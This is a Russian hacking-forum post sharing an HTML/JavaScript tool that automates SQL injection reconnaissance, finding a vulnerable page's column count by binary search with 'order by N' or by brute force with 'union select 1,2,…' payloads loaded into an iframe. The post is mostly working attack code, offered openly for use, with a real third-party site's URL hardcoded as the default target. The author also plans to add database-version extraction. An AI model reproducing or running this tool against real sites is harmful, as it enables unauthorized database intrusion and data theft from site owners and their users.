Форум АНТИЧАТ - Показать сообщение отдельно - Javascript-автоматизация поиска колич. колонок

ну вот я и приехал..

вот cделал все одним файлом. можно выбирать каким методом будет производится подбор

PHP код:


		
			


  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 

<html xmlns="http://www.w3.org/1999/xhtml">

<META name="author" content="halkfild, -=lebed=-">

<META name="copyright" content="&copy; 2007 halkfild">  

 <style> 

  body 

  {  

   padding:10px;  

   background:#2A2E33;  

   font-family:tahoma, verdana, arial;  

   font-size:14px;  

   text-align:center;  

   color:#B9B9BD;  

  } 

  form 

  {  

   padding:10px; 

   border:1px solid #666;  

   width:700px;  

   margin:0 auto;  

  }

  iframe

  {  

   padding:10px; 

   border:1px solid #666;  

   width:700px;

   height:500px;  

   margin:0 auto;  

  } 

  input 

  {  

   vertical-align:middle;  

   margin:1px 0;  

   padding-right:10px;  

   border:1px solid #336600;

   padding:2px;  

   background:#363940;  

   color:#B9B9BD;  

  }

  div 

  {  

  display:none;  

  }    

  </style>  

<head> 

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 

<title>Подборщик количества столбцов &copy; halkfild & -=lebed=-</title> 

</head> 



<script> 

var url="http://sololiteratura.com/php/autor.php?id=1"; //"http://"; 

var tek_url=url; 

var k=0;



var LL; //left limit

var RL; //right limit



var s=""; 

var n=0; 



 

function b_search(f) {

  tek_url=document.binSearch.url.value;

  LL=document.binSearch.llc.value*1;

  RL=document.binSearch.rlc.value*1;

  rgurl= document.binSearch.rurl.value;

  tek_url= tek_url + "+order+by+";

  

  if (f==1) { //>

  LL=LL+Math.floor((RL-LL)/2);



  }

  else {      //<

    RL=LL+Math.floor((RL-LL)/2);    

  }

  

  k=Math.floor(LL+(RL-LL)/2);

  tek_url= tek_url + k + rgurl;

  

  document.binSearch.llc.value=LL;

  document.binSearch.rlc.value=RL;

  document.binSearch.tek_url.value=tek_url;

  changePage(tek_url);

}



function poisk(f) { 

        tek_url=document.bruteSearch.url.value; 

        document.bruteSearch.colum.value="?"; 

        document.bruteSearch.tek_url.value=document.bruteSearch.url.  value+"-1+union+select+"; 

        tek_url=document.bruteSearch.url.value+"-1+union+select+"; 

       

      while (n<50) 

      { 

      n++; 

      if (n==1) {s=s+n;} 

      else {s=s+","+n;} 

      tek_url=tek_url+s+"/*"; 

      document.bruteSearch.tek_url.value=tek_url; 

      document.bruteSearch.colum.value=n;       

      changePage(tek_url); 

      pause (); 

       

      } 

} 

 

function changePage(p) { 

  document.getElementById( "ifrm" ).src = p; 

     } 



function dShow(type){

  if (type==1) {

    document.getElementById( "brute" ).style.display='none'; 

    document.getElementById( "binary" ).style.display='inline';

  }

  else {

    document.getElementById( "binary" ).style.display='none';  

    document.getElementById( "brute" ).style.display='inline';

  }

}



</script>

<body onload="changePage()"> 

<label><b>JavaScript-подборщик количества полей</b></label><br/>

  <input type="radio" checked=1 name="type" onClick=dShow(1);>Binary search &copy; <b>halkfild</b>

  <input type="radio" name="type" onClick=dShow(2);>Bruteforce &copy; <b>-=lebed=-</b><br/>

  

<div id="binary" style='display:inline;'>

  <form name=binSearch method=post> 

    <label>Введите путь к уязвимому скрипту</label><br> 

    <input name="url" value="http://" style='width:388px;'>

    <input name="rurl" value="/*&" style='width:200px;'>  

    <br> 

    <input onClick=b_search(1); type=button value="больше >" style='width:100px;'>

    <input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>

    Границы поиска количества   

    <input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> 

    адрессная строка(URL)<br/><input name=tek_url readonly style='width:600px;'><br/> 

  </form> 

</div>



<div id="brute">

  <form name=bruteSearch method=post> 

    <label>Введите путь до уязвимого скрипта 

    <input name="url" value="http://" style='width:600px;'> 

    </label><br> 

    <input onClick=poisk(bruteSearch); type=button value="Подобрать число столбцов" name=calculateit> 

    <input readonly size=5 name=colum><br> 

    адрессная строка(URL)<input name=tek_url readonly style='width:600px;'> 

  </form>

</div>

   

<iframe id="ifrm" src="null"></body> 

</html>

cделаю наверное еще автоподстановку версии и тд. но это уже завтра

з.ы. если есть какие-то предложения или конструктивная критика пишите